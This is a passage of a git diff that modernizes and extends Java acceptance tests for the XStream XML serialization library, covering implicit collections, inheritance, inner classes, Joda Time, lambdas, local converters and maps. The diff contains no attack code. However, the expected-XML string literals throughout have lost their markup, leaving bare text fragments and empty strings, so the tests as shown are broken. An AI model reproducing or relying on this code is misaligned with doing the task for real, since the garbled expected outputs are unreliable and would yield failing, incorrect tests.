String expected = "" + + "\n" + + " \n" + + " Windows\n" + + " \n" + + " Microsoft\n" + + " Windows\n" + + " \n" + + " \n" + + " \n" + + " Linux\n" + + " \n" + + " Red Hat\n" + + " Linux\n" + + " \n" + + " \n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", null, null); assertBothWays(sample, expected); } public void testCanUsePrimitiveAsKey() { - SampleMaps sample = new SampleMaps(); - sample.good = new LinkedHashMap(); + final SampleMaps sample = new SampleMaps<>(); + sample.good = new LinkedHashMap<>(); sample.good.put(new Double(399.99), new Product("iPhone", "i", 399.99)); - String expected = "" + - "\n" + - " \n" + - " iPhone\n" + - " i\n" + - " 399.99\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " iPhone\n" + + " i\n" + + " 399.99\n" + + " \n" + + " \n" + + ""; xstream.addImplicitMap(SampleMaps.class, "good", Product.class, "price"); assertBothWays(sample, expected); diff --git a/xstream/src/test/com/thoughtworks/acceptance/ImplicitTest.java b/xstream/src/test/com/thoughtworks/acceptance/ImplicitTest.java index d3e26409f..893ba70db 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/ImplicitTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/ImplicitTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2013, 2015 XStream Committers. + * Copyright (C) 2013, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 22. April 2013 by Joerg Schaible */ package com.thoughtworks.acceptance; @@ -15,31 +15,31 @@ import java.util.List; import java.util.Map; + public class ImplicitTest extends AbstractAcceptanceTest { - + public static class AllImplicitTypes { - + public static class A { public int val; } - + public static class B { public int val; } - + public static class C { public Integer val; } - + public A[] aArray = new A[2]; public String separator1 = "--1--"; public List bList = new ArrayList(); public String separator2 = "--2--"; public Map cMap = new LinkedHashMap(); } - - public void testAllImplicitTypesAtOnceWithImplicitElementTypes() - { + + public void testAllImplicitTypesAtOnceWithImplicitElementTypes() { xstream.alias("implicits", AllImplicitTypes.class); xstream.alias("a", AllImplicitTypes.A.class); xstream.alias("b", AllImplicitTypes.B.class); @@ -48,7 +48,7 @@ public void testAllImplicitTypesAtOnceWithImplicitElementTypes() xstream.addImplicitArray(AllImplicitTypes.class, "aArray"); xstream.addImplicitCollection(AllImplicitTypes.class, "bList"); xstream.addImplicitMap(AllImplicitTypes.class, "cMap", AllImplicitTypes.C.class, "val"); - String expected = "" + final String expected = "" + "\n" + " \n" + " 1\n" @@ -72,7 +72,7 @@ public void testAllImplicitTypesAtOnceWithImplicitElementTypes() + " \n" + ""; - AllImplicitTypes implicits = new AllImplicitTypes(); + final AllImplicitTypes implicits = new AllImplicitTypes(); implicits.aArray[0] = new AllImplicitTypes.A(); implicits.aArray[0].val = 1; implicits.aArray[1] = new AllImplicitTypes.A(); @@ -89,9 +89,8 @@ public void testAllImplicitTypesAtOnceWithImplicitElementTypes() implicits.cMap.put(c.val, c); assertBothWays(implicits, expected); } - - public void testAllImplicitTypesAtOnceWithExplicitElementTypes() - { + + public void testAllImplicitTypesAtOnceWithExplicitElementTypes() { xstream.alias("implicits", AllImplicitTypes.class); xstream.alias("a", AllImplicitTypes.A.class); xstream.alias("b", AllImplicitTypes.B.class); @@ -100,7 +99,7 @@ public void testAllImplicitTypesAtOnceWithExplicitElementTypes() xstream.addImplicitArray(AllImplicitTypes.class, "aArray"); xstream.addImplicitCollection(AllImplicitTypes.class, "bList", AllImplicitTypes.B.class); xstream.addImplicitMap(AllImplicitTypes.class, "cMap", AllImplicitTypes.C.class, "val"); - String expected = "" + final String expected = "" + "\n" + " \n" + " 1\n" @@ -124,7 +123,7 @@ public void testAllImplicitTypesAtOnceWithExplicitElementTypes() + " \n" + ""; - AllImplicitTypes implicits = new AllImplicitTypes(); + final AllImplicitTypes implicits = new AllImplicitTypes(); implicits.aArray[0] = new AllImplicitTypes.A(); implicits.aArray[0].val = 1; implicits.aArray[1] = new AllImplicitTypes.A(); @@ -145,15 +144,14 @@ public void testAllImplicitTypesAtOnceWithExplicitElementTypes() implicits.separator1 = implicits.separator2 = null; assertBothWays(implicits, stripSeparator(expected)); } - - public void testAllImplicitTypesAtOnceWithExplicitElementNames() - { + + public void testAllImplicitTypesAtOnceWithExplicitElementNames() { xstream.alias("implicits", AllImplicitTypes.class); xstream.addDefaultImplementation(LinkedHashMap.class, Map.class); xstream.addImplicitArray(AllImplicitTypes.class, "aArray", "a"); xstream.addImplicitCollection(AllImplicitTypes.class, "bList", "b", AllImplicitTypes.B.class); xstream.addImplicitMap(AllImplicitTypes.class, "cMap", "c", AllImplicitTypes.C.class, "val"); - String expected = "" + final String expected = "" + "\n" + " \n" + " 1\n" @@ -177,7 +175,7 @@ public void testAllImplicitTypesAtOnceWithExplicitElementNames() + " \n" + ""; - AllImplicitTypes implicits = new AllImplicitTypes(); + final AllImplicitTypes implicits = new AllImplicitTypes(); implicits.aArray[0] = new AllImplicitTypes.A(); implicits.aArray[0].val = 1; implicits.aArray[1] = new AllImplicitTypes.A(); @@ -196,11 +194,11 @@ public void testAllImplicitTypesAtOnceWithExplicitElementNames() implicits.separator1 = implicits.separator2 = null; assertBothWays(implicits, stripSeparator(expected)); } - - private String stripSeparator(String s) { + + private String stripSeparator(final String s) { return s.replaceAll(" * cMap = new LinkedHashMap(); } - - public void testHiddenImplicitTypesAtOnceWithExplicitElementNames() - { + + public void testHiddenImplicitTypesAtOnceWithExplicitElementNames() { xstream.alias("implicits", AllHidingImplicitTypes.class); xstream.alias("hiding", AllHidingTypes.class); xstream.alias("hidden", AllImplicitTypes.class); @@ -234,7 +231,7 @@ public void testHiddenImplicitTypesAtOnceWithExplicitElementNames() xstream.addImplicitCollection(AllHidingImplicitTypes.class, "bList", "b", AllImplicitTypes.B.class); xstream.addImplicitMap(AllImplicitTypes.class, "cMap", "cHidden", AllImplicitTypes.C.class, "val"); xstream.addImplicitMap(AllHidingImplicitTypes.class, "cMap", "c", AllImplicitTypes.C.class, "val"); - String expected = "" + final String expected = "" + "\n" + " \n" + " 1\n" @@ -281,7 +278,7 @@ public void testHiddenImplicitTypesAtOnceWithExplicitElementNames() + " \n" + ""; - AllHidingImplicitTypes implicits = new AllHidingImplicitTypes(); + final AllHidingImplicitTypes implicits = new AllHidingImplicitTypes(); ((AllImplicitTypes)implicits).aArray[0] = new AllImplicitTypes.A(); ((AllImplicitTypes)implicits).aArray[0].val = 1; ((AllImplicitTypes)implicits).aArray[1] = new AllImplicitTypes.A(); @@ -311,7 +308,8 @@ public void testHiddenImplicitTypesAtOnceWithExplicitElementNames() c.val = new Integer(12); implicits.cMap.put(c.val, c); assertBothWays(implicits, expected); - implicits.separator1 = implicits.separator2 = ((AllHidingTypes)implicits).separator = implicits.separator = null; + implicits.separator1 = implicits.separator2 = ((AllHidingTypes)implicits).separator = implicits.separator = + null; assertBothWays(implicits, stripSeparator(expected)); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/InheritanceTest.java b/xstream/src/test/com/thoughtworks/acceptance/InheritanceTest.java index 5ca1d803e..0a4e09e16 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/InheritanceTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/InheritanceTest.java @@ -1,34 +1,34 @@ /* * Copyright (C) 2003, 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2009 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 26. September 2003 by Joe Walnes */ package com.thoughtworks.acceptance; -import com.thoughtworks.acceptance.objects.OpenSourceSoftware; -import com.thoughtworks.acceptance.objects.StandardObject; - import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; +import com.thoughtworks.acceptance.objects.OpenSourceSoftware; +import com.thoughtworks.acceptance.objects.StandardObject; + public class InheritanceTest extends AbstractAcceptanceTest { public void testHandlesInheritanceHierarchies() { - OpenSourceSoftware openSourceSoftware = new OpenSourceSoftware("apache", "geronimo", "license"); - String xml = - "\n" + - " apache\n" + - " geronimo\n" + - " license\n" + - ""; + final OpenSourceSoftware openSourceSoftware = new OpenSourceSoftware("apache", "geronimo", "license"); + final String xml = ""// + + "\n" + + " apache\n" + + " geronimo\n" + + " license\n" + + ""; xstream.alias("oss", OpenSourceSoftware.class); assertBothWays(openSourceSoftware, xml); @@ -37,10 +37,7 @@ public void testHandlesInheritanceHierarchies() { public static class ParentClass { private String name; - public ParentClass() { - } - - public ParentClass(String name) { + public ParentClass(final String name) { this.name = name; } @@ -52,41 +49,45 @@ public String getParentName() { public static class ChildClass extends ParentClass { private String name; - public ChildClass() { - } - - public ChildClass(String parentName, String childName) { + public ChildClass(final String parentName, final String childName) { super(parentName); - this.name = childName; + name = childName; } public String getChildName() { return name; } + @Override public String toString() { return getParentName() + "/" + getChildName(); } - public boolean equals(Object obj) { + @Override + public boolean equals(final Object obj) { return toString().equals(obj.toString()); } + + @Override + public int hashCode() { + return getParentName().hashCode() | getChildName().hashCode(); + } } public void testInheritanceHidingPrivateFieldOfSameName() { xstream.alias("parent", ParentClass.class); xstream.alias("child", ChildClass.class); - ChildClass child = new ChildClass("PARENT", "CHILD"); + final ChildClass child = new ChildClass("PARENT", "CHILD"); // sanity checks assertEquals("PARENT", child.getParentName()); assertEquals("CHILD", child.getChildName()); - String expected = "" + - "\n" + - " PARENT\n" + - " CHILD\n" + - ""; + final String expected = "" + + "\n" + + " PARENT\n" + + " CHILD\n" + + ""; assertBothWays(child, expected); } @@ -94,74 +95,70 @@ public void testInheritanceHidingPrivateFieldOfSameName() { public static class StaticChildClass extends ParentClass { private static String name = "CHILD"; - public StaticChildClass() { - } - - public StaticChildClass(String parentName) { + public StaticChildClass(final String parentName) { super(parentName); } } - + public void testHandlesStaticFieldInChildDoesNotHideFieldInParent() { xstream.alias("child", StaticChildClass.class); - StaticChildClass child = new StaticChildClass("PARENT"); - String expected = "" + - "\n" + - " PARENT\n" + - ""; + final StaticChildClass child = new StaticChildClass("PARENT"); + final String expected = "" + "\n" + " PARENT\n" + ""; assertBothWays(child, expected); assertEquals("PARENT", child.getParentName()); assertEquals("CHILD", StaticChildClass.name); } - public static class ParentA extends StandardObject { - private List stuff = new ArrayList(); + public static class ParentA extends StandardObject { + private static final long serialVersionUID = 200405L; + private final List stuff = new ArrayList<>(); - public List getParentStuff() { + public List getParentStuff() { return stuff; } } - public static class ChildA extends ParentA { - private Map stuff = new HashMap(); + public static class ChildA extends ParentA { + private static final long serialVersionUID = 200405L; + private final Map stuff = new HashMap<>(); - public Map getChildStuff() { + public Map getChildStuff() { return stuff; } - public boolean equals(Object obj) { - ChildA a = (ChildA) obj; + @Override + public boolean equals(final Object obj) { + final ChildA a = (ChildA)obj; if (!getChildStuff().getClass().equals(a.getChildStuff().getClass())) { return false; } if (!getParentStuff().getClass().equals(a.getParentStuff().getClass())) { return false; } - return getChildStuff().equals(a.getChildStuff()) - && getParentStuff().equals(a.getParentStuff()); + return getChildStuff().equals(a.getChildStuff()) && getParentStuff().equals(a.getParentStuff()); } } public void testHiddenFieldsWithDifferentType() { xstream.alias("child-a", ChildA.class); xstream.alias("parent-a", ParentA.class); - ChildA childA = new ChildA(); + final ChildA childA = new ChildA<>(); childA.getChildStuff().put("hello", "world"); childA.getParentStuff().add("woo"); - String expected = "" + - "\n" + - " \n" + - " woo\n" + - " \n" + - " \n" + - " \n" + - " hello\n" + - " world\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " woo\n" + + " \n" + + " \n" + + " \n" + + " hello\n" + + " world\n" + + " \n" + + " \n" + + ""; assertBothWays(childA, expected); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/InnerClassesTest.java b/xstream/src/test/com/thoughtworks/acceptance/InnerClassesTest.java index 2d4a4c06f..eded9288c 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/InnerClassesTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/InnerClassesTest.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2015, 2018, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -11,6 +11,8 @@ */ package com.thoughtworks.acceptance; +import com.thoughtworks.xstream.security.WildcardTypePermission; + public class InnerClassesTest extends AbstractAcceptanceTest { public void testSerializedInnerClassMaintainsReferenceToOuterClass() { @@ -24,13 +26,13 @@ public void testSerializedInnerClassMaintainsReferenceToOuterClass() { final String xml = xstream.toXML(inner); final String expectedXml = "" - + "\n" - + " THE-INNER-NAME\n" - + " \n" - + " \n" - + " THE-OUTER-NAME\n" - + " \n" - + ""; + + "\n" + + " THE-INNER-NAME\n" + + " \n" + + " \n" + + " THE-OUTER-NAME\n" + + " \n" + + ""; assertEquals(expectedXml, xml); final Outer.Inner newInner = (Outer.Inner)xstream.fromXML(xml); @@ -38,6 +40,7 @@ public void testSerializedInnerClassMaintainsReferenceToOuterClass() { assertEquals("Hello from THE-INNER-NAME (inside THE-OUTER-NAME)", newInner.getMessage()); } + @SuppressWarnings("unused") public static class OuterType { private final String outerName = "Outer Name"; public InnerType inner = new InnerType(); @@ -65,10 +68,12 @@ public Dynamic3(final Dynamic1 outer) { class Dynamic4 extends Dynamic1.Dynamic2 { private final String name4 = "Name 4"; private final Dynamic5 dyn5 = new Dynamic5(); + class Dynamic5 { private final String name5 = "Name 5"; } - Dynamic4(Dynamic1 outer) { + + Dynamic4(final Dynamic1 outer) { outer.super(); } } @@ -82,39 +87,41 @@ public void testNestedDynamicTypes() { xstream.alias("inner", OuterType.InnerType.class); final OuterType outer = new OuterType(); + xstream.alias("Dynamic4", outer.dyn3.dyn4.getClass()); + xstream.addPermission(new WildcardTypePermission(true, InnerClassesTest.class.getName() + "*")); final String expectedXml = "" - + "\n" - + " Inner Name\n" - + " \n" - + " Outer Name\n" - + " \n" - + " \n" - + " Name 1\n" - + " \n" - + " \n" - + " \n" - + " Name 2\n" - + " \n" - + " \n" - + " \n" - + " Name 2\n" - + " \n" - + " Name 3\n" - + " \n" - + " Name 2\n" - + " \n" - + " Name 4\n" - + " \n" - + " Name 5\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " \n" - + " \n" - + " \n" - + ""; + + "\n" + + " Inner Name\n" + + " \n" + + " Outer Name\n" + + " \n" + + " \n" + + " Name 1\n" + + " \n" + + " \n" + + " \n" + + " Name 2\n" + + " \n" + + " \n" + + " \n" + + " Name 2\n" + + " \n" + + " Name 3\n" + + " \n" + + " Name 2\n" + + " \n" + + " Name 4\n" + + " \n" + + " Name 5\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; assertBothWays(outer.inner, expectedXml); } diff --git a/xstream/src/test/com/thoughtworks/acceptance/JodaTimeTypesTest.java b/xstream/src/test/com/thoughtworks/acceptance/JodaTimeTypesTest.java index 6ebfad419..56d7d7526 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/JodaTimeTypesTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/JodaTimeTypesTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2008, 2009, 2014, 2017 XStream Committers. + * Copyright (C) 2008, 2009, 2014, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 23. October 2008 by Joerg Schaible */ package com.thoughtworks.acceptance; @@ -13,30 +13,31 @@ import org.joda.time.DateTimeZone; import org.joda.time.LocalDate; + /** * Tests Joda Time types - * + * * @author Jörg Schaible */ public class JodaTimeTypesTest extends AbstractAcceptanceTest { - + public void testCanHandleLocateDate() { xstream.allowTypesByWildcard("org.joda.time.**"); DateTimeZone.setDefault(DateTimeZone.forID("America/Los_Angeles")); final LocalDate localDate = new LocalDate(2008, 07, 03); - final String expected = "" + - "\n" + - " 1215043200000\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " UTC\n" + - " \n" + - " \n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " 1215043200000\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " UTC\n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; assertBothWays(localDate, expected); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/LambdaTest.java b/xstream/src/test/com/thoughtworks/acceptance/LambdaTest.java index 2a3d609c1..e0c6c8024 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/LambdaTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/LambdaTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2014, 2015 XStream Committers. + * Copyright (C) 2014, 2015, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -12,6 +12,9 @@ import java.io.Serializable; import java.lang.invoke.SerializedLambda; +import java.util.Comparator; +import java.util.Set; +import java.util.TreeSet; import java.util.concurrent.Callable; @@ -69,7 +72,7 @@ public void testSerializableLambdaExpression() { assertBothWaysNormalized(keeper, expected); - // ... deserialization fails if code was compiled with compiler of different vendor + // ... deserialization fails if code was compiled with compiler of different vendor // Object resultRoot = xstream.fromXML(expected); // assertNotNull(resultRoot); } @@ -114,7 +117,8 @@ default int getOne() { public interface SerializableCallable extends X, Serializable, Callable {} public void testLambdaArray() { - Object[] lambdas = { + @SuppressWarnings("unchecked") + final Object[] lambdas = { (Callable & Serializable)() -> "result", (SerializableCallable)() -> "result", (Runnable & Serializable)() -> run(), (X & Serializable & Callable)() -> "result", (Runnable)() -> run(), null}; @@ -198,4 +202,35 @@ private String normalizeLambda(final String xml) { // unify compiler specific name for implMethodName, Eclipse uses always "lambda$0" return xml.replaceAll(">lambda\\$[^<]+<", ">lambda\\$0<"); } + + public void testTreeSetWithLambda() { + final Set set = new TreeSet(Comparator.comparingInt(s -> -s.length())); + set.add("L"); + set.add("XXL"); + set.add("XL"); + + final String expected = "" + + "\n" + + " \n" + + " java.util.Comparator\n" + + " java/util/Comparator\n" + + " compare\n" + + " (Ljava/lang/Object;Ljava/lang/Object;)I\n" + + " java/util/Comparator\n" + + " lambda$0\n" + + " (Ljava/util/function/ToIntFunction;Ljava/lang/Object;Ljava/lang/Object;)I\n" + + " 6\n" + + " (Ljava/lang/Object;Ljava/lang/Object;)I\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " XXL\n" + + " XL\n" + + " L\n" + + ""; + xstream.allowTypes(SerializedLambda.class); + + assertBothWaysNormalized(set, expected); + } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/LocalConverterTest.java b/xstream/src/test/com/thoughtworks/acceptance/LocalConverterTest.java index 1baaaff60..d05d4a667 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/LocalConverterTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/LocalConverterTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2007, 2008, 2009 XStream Committers. + * Copyright (C) 2007, 2008, 2009, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. November 2007 by Joerg Schaible */ package com.thoughtworks.acceptance; @@ -23,15 +23,16 @@ public class LocalConverterTest extends AbstractAcceptanceTest { public static class MultiBoolean { - private boolean bool; - private boolean speech; - private boolean bit; + final boolean bool; + final boolean speech; + final boolean bit; + @SuppressWarnings("unused") private MultiBoolean() { this(false, false, false); } - public MultiBoolean(boolean bool, boolean speech, boolean bit) { + public MultiBoolean(final boolean bool, final boolean speech, final boolean bit) { this.bool = bool; this.speech = speech; this.bit = bit; @@ -39,16 +40,17 @@ public MultiBoolean(boolean bool, boolean speech, boolean bit) { } + @Override protected void setUp() throws Exception { super.setUp(); xstream.alias("mbool", MultiBoolean.class); - xstream.registerConverter(new ReflectionConverter( - xstream.getMapper(), new PureJavaReflectionProvider()), XStream.PRIORITY_VERY_LOW); + xstream.registerConverter(new ReflectionConverter(xstream.getMapper(), new PureJavaReflectionProvider()), + XStream.PRIORITY_VERY_LOW); } public void testCanBeAppliedToIndividualFields() { - MultiBoolean multiBool = new MultiBoolean(true, true, true); - String xml = "" + final MultiBoolean multiBool = new MultiBoolean(true, true, true); + final String xml = "" + "\n" + " true\n" + " yes\n" @@ -59,16 +61,16 @@ public void testCanBeAppliedToIndividualFields() { xstream.registerLocalConverter(MultiBoolean.class, "bit", BooleanConverter.BINARY); assertBothWays(multiBool, xml); } - + public static class SymbolParameter { - private int type; - private int color; - private int width; + int type; + int color; + int width; public SymbolParameter() { } - public SymbolParameter(int type, int color, int width) { + public SymbolParameter(final int type, final int color, final int width) { this.type = type; this.color = color; this.width = width; @@ -77,26 +79,29 @@ public SymbolParameter(int type, int color, int width) { } public static class HexNumberConverter implements SingleValueConverter { - public boolean canConvert(Class type) { + @Override + public boolean canConvert(final Class type) { return type.equals(int.class) || type.equals(Integer.class); } - public Object fromString(String value) { + @Override + public Object fromString(final String value) { return new Integer(Integer.parseInt(value, 16)); } - public String toString(Object obj) { + @Override + public String toString(final Object obj) { return Integer.toHexString(((Integer)obj).intValue()); } } public void testCanBeUsedForAttributeValue() { - SymbolParameter multiBool = new SymbolParameter(1, 0xff00ff, 100); - String xml = "" - + "\n" - + " 1\n" - + " 100\n" - + ""; + final SymbolParameter multiBool = new SymbolParameter(1, 0xff00ff, 100); + final String xml = "" + + "\n" + + " 1\n" + + " 100\n" + + ""; xstream.alias("param", SymbolParameter.class); xstream.useAttributeFor("color", int.class); diff --git a/xstream/src/test/com/thoughtworks/acceptance/MapTest.java b/xstream/src/test/com/thoughtworks/acceptance/MapTest.java index bce3d6b57..bf9414812 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/MapTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/MapTest.java @@ -1,20 +1,16 @@ /* * Copyright (C) 2003, 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2017, 2018, 2021, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 26. September 2003 by Joe Walnes */ package com.thoughtworks.acceptance; -import com.thoughtworks.acceptance.objects.Hardware; -import com.thoughtworks.acceptance.objects.Software; -import com.thoughtworks.acceptance.objects.StandardObject; - import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; @@ -22,235 +18,251 @@ import java.util.LinkedHashMap; import java.util.List; import java.util.Map; +import java.util.WeakHashMap; + +import com.thoughtworks.acceptance.objects.Hardware; +import com.thoughtworks.acceptance.objects.Software; +import com.thoughtworks.acceptance.objects.StandardObject; + public class MapTest extends AbstractAcceptanceTest { public void testMapCanContainBasicObjects() { - Map map = new HashMap(); + final Map map = new HashMap<>(); map.put("benny", "hill"); map.put("joe", "walnes"); - String expected = "" + - "\n" + - " \n" + - " benny\n" + - " hill\n" + - " \n" + - " \n" + - " joe\n" + - " walnes\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " benny\n" + + " hill\n" + + " \n" + + " \n" + + " joe\n" + + " walnes\n" + + " \n" + + ""; assertBothWaysNormalized(map, expected, "map", "entry", "string[1]"); } public void testMapCanContainCustomObjects() { - Map map = new HashMap(); + final Map map = new HashMap<>(); map.put(new Software("microsoft", "windows"), new Hardware("x86", "p4")); xstream.alias("software", Software.class); xstream.alias("hardware", Hardware.class); - String expected = "" + - "\n" + - " \n" + - " \n" + - " microsoft\n" + - " windows\n" + - " \n" + - " \n" + - " x86\n" + - " p4\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " microsoft\n" + + " windows\n" + + " \n" + + " \n" + + " x86\n" + + " p4\n" + + " \n" + + " \n" + + ""; assertBothWays(map, expected); } - static class ThingWithMap extends StandardObject { - Map stuff = new HashMap(); + static class ThingWithMap extends StandardObject { + private static final long serialVersionUID = 200309L; + Map stuff = new HashMap<>(); } public void testObjectCanContainMapAsField() { - ThingWithMap t = new ThingWithMap(); + final ThingWithMap t = new ThingWithMap<>(); t.stuff.put("hi", "bye"); xstream.alias("thing-with-map", ThingWithMap.class); - String expected = "" + - "\n" + - " \n" + - " \n" + - " hi\n" + - " bye\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " hi\n" + + " bye\n" + + " \n" + + " \n" + + ""; assertBothWays(t, expected); } public void testSupportsOldHashtables() { + final Hashtable hashtable = new Hashtable<>(); + hashtable.put("hello", "world"); - Hashtable hashtable = new Hashtable(); + final String expected = "" + + "\n" + + " \n" + + " hello\n" + + " world\n" + + " \n" + + ""; + + assertBothWays(hashtable, expected); + } + + public void testSupportsWeakHashMap() { + final WeakHashMap hashtable = new WeakHashMap<>(); hashtable.put("hello", "world"); - String expected = "" + - "\n" + - " \n" + - " hello\n" + - " world\n" + - " \n" + - ""; + final String expected = ""; assertBothWays(hashtable, expected); } static class ThingWithDifferentTypesOfMaps extends StandardObject { - private Map m1 = new HashMap(); - private Map m2 = new Hashtable(); - private HashMap m3 = new HashMap(); - private Hashtable m4 = new Hashtable(); + private static final long serialVersionUID = 200403L; + final Map m1 = new HashMap<>(); + final Map m2 = new Hashtable<>(); + final HashMap m3 = new HashMap<>(); + final Hashtable m4 = new Hashtable<>(); } public void testObjectCanContainDifferentMapImplementations() { - xstream.alias("thing", ThingWithDifferentTypesOfMaps.class); - ThingWithDifferentTypesOfMaps thing = new ThingWithDifferentTypesOfMaps(); + final ThingWithDifferentTypesOfMaps thing = new ThingWithDifferentTypesOfMaps(); - String expected = "" + - "\n" + - " \n" + - " \n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; assertBothWays(thing, expected); - } public void testLinkedHashMapRetainsOrdering() { - Map map = new LinkedHashMap(); + final Map map = new LinkedHashMap<>(); map.put("Z", "a"); map.put("C", "c"); map.put("X", "b"); - LinkedHashMap result = (LinkedHashMap) assertBothWays(map, - "\n" + - " \n" + - " Z\n" + - " a\n" + - " \n" + - " \n" + - " C\n" + - " c\n" + - " \n" + - " \n" + - " X\n" + - " b\n" + - " \n" + - ""); - - Object[] keys = result.keySet().toArray(); + final LinkedHashMap result = assertBothWays(map, ""// + + "\n" + + " \n" + + " Z\n" + + " a\n" + + " \n" + + " \n" + + " C\n" + + " c\n" + + " \n" + + " \n" + + " X\n" + + " b\n" + + " \n" + + ""); + + final Object[] keys = result.keySet().toArray(); assertEquals("Z", keys[0]); assertEquals("C", keys[1]); assertEquals("X", keys[2]); } - + public void testAllowsEntryToBeAliasedToSomethingElse() { - Map map = new HashMap(); + final Map map = new HashMap<>(); map.put("benny", "hill"); map.put("joe", "walnes"); - String expected = "" + - "\n" + - " \n" + - " benny\n" + - " hill\n" + - " \n" + - " \n" + - " joe\n" + - " walnes\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " benny\n" + + " hill\n" + + " \n" + + " \n" + + " joe\n" + + " walnes\n" + + " \n" + + ""; xstream.alias("thing", Map.Entry.class); assertBothWaysNormalized(map, expected, "map", "thing", "string[1]"); } - public static class MyMap extends HashMap { - + public static class MyMap extends HashMap { + private static final long serialVersionUID = 200501L; } public void testSubclassesOfMapAreHandled() { - MyMap myMap = new MyMap(); + final MyMap myMap = new MyMap<>(); myMap.put("hehe", "hoho"); - String xml = xstream.toXML(myMap); - MyMap myOtherMap = (MyMap) xstream.fromXML(xml); + final String xml = xstream.toXML(myMap); + final MyMap myOtherMap = xstream.fromXML(xml); assertEquals(myMap, myOtherMap); } - + public void testSynchronizedMap() { - final String expected = "" + - "\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - ""; - - assertBothWays(Collections.synchronizedMap(new HashMap()), expected); + final String expected = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; + + assertBothWays(Collections.synchronizedMap(new HashMap()), expected); } - + public void testUnmodifiableMap() { - String expected = "" + - "\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + ""; - assertBothWays(Collections.unmodifiableMap(new HashMap()), expected); + assertBothWays(Collections.unmodifiableMap(new HashMap()), expected); } public void testEmptyMap() { assertBothWays(Collections.EMPTY_MAP, ""); + assertBothWays(Collections.emptyMap(), ""); } public void testEmptyMapIsImmutable() { - List list = new ArrayList(); - list.add(Collections.EMPTY_MAP); - list.add(Collections.EMPTY_MAP); - assertBothWays(list, - "\n" + - " \n" + - " \n" + - ""); + final List> list = new ArrayList<>(); + list.add(Collections.emptyMap()); + list.add(Collections.emptyMap()); + assertBothWays(list, ""// + + "\n" + + " \n" + + " \n" + + ""); } public void testEmptyMapIsSingleton() { assertSame(Collections.EMPTY_MAP, xstream.fromXML("")); } - + public void testSingletonMap() { - String expected =""+ - "\n" + - " \n" + - " \n" + - " microsoft\n" + - " windows\n" + - " \n" + - " \n" + - " x86\n" + - " p4\n" + - " \n" + - " \n" + - ""; - - assertBothWays(Collections.singletonMap(new Software("microsoft", "windows"), new Hardware("x86", "p4")), expected); + final String expected = "" + + "\n" + + " \n" + + " \n" + + " microsoft\n" + + " windows\n" + + " \n" + + " \n" + + " x86\n" + + " p4\n" + + " \n" + + " \n" + + ""; + + assertBothWays(Collections.singletonMap(new Software("microsoft", "windows"), new Hardware("x86", "p4")), + expected); } } diff --git 